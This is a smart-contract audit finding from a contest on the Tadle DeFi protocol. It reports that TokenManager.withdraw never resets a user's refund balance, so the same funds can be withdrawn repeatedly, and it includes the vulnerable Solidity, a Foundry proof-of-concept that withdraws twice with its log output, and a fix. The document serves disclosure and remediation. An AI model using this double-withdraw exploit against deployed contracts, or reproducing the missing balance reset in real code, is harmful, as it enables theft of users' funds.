Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Attacker can steal all the funds in the token manager due to missing balance change update

Summary

In the tadle system, users can create offer (maker action) with underlying collaterals and if they want, they can cancel it any time if it's not accepted (taker action) by anyone. The cancelled funds are sent to user's refunded balances storage and user can withdraw them any time. Due to missing balance change on withdraw function attacker can steal all the funds in the token manager contract.

Function: https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137

Vulnerability Details

Following function is used in order to cancel the offer:

function closeOffer(address _stock, address _offer) external {
OfferInfo storage offerInfo = offerInfoMap[_offer];
StockInfo storage stockInfo = stockInfoMap[_stock];
if (stockInfo.offer != _offer) {
revert InvalidOfferAccount(stockInfo.offer, _offer);
}
if (offerInfo.authority != _msgSender()) {
revert Errors.Unauthorized();
}
if (offerInfo.offerStatus != OfferStatus.Virgin) {
revert InvalidOfferStatus();
}
MakerInfo storage makerInfo = makerInfoMap[offerInfo.maker];
/// @dev market place must be online
ISystemConfig systemConfig = tadleFactory.getSystemConfig();
MarketPlaceInfo memory marketPlaceInfo = systemConfig
.getMarketPlaceInfo(makerInfo.marketPlace);
marketPlaceInfo.checkMarketPlaceStatus(
block.timestamp,
MarketPlaceStatus.Online
);
/**
* @dev update refund token from capital pool to balance
* @dev offer settle type is protected or original offer
*/
if (
makerInfo.offerSettleType == OfferSettleType.Protected ||
stockInfo.preOffer == address(0x0)
) {
uint256 refundAmount = OfferLibraries.getRefundAmount(
offerInfo.offerType,
offerInfo.amount,
offerInfo.points,
offerInfo.usedPoints,
offerInfo.collateralRate
);
ITokenManager tokenManager = tadleFactory.getTokenManager();
&> tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
refundAmount
);
}
offerInfo.offerStatus = OfferStatus.Canceled;
emit CloseOffer(_offer, _msgSender());
}

It adds the tokens to tokenManager contract and attacker now can withdraw his tokens with following function:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
console2.log("TEST");
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

Because of lacking balance change updates this function can be called many times without sending collateral.

Coded PoC

function test_refund2Times() public {
vm.startPrank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
console2.log("Attacker balance before: %s" ,mockUSDCToken.balanceOf(user));
uint256 offerId = preMarktes.offerId();
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user);
address offerAddr = GenerateAddress.generateOfferAddress(offerId);
address stockAddr = GenerateAddress.generateStockAddress(offerId);
preMarktes.closeOffer(stockAddr, offerAddr);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
console2.log("Attacker balance after: %s" ,mockUSDCToken.balanceOf(user));
}

Output:

Logs:
Attacker balance before: 100000000000000000000000000
Attacker balance after: 100000000012000000000000000

Impact

Loss of funds

Tools Used

Foundry and manual review

Recommendations

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
&> userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.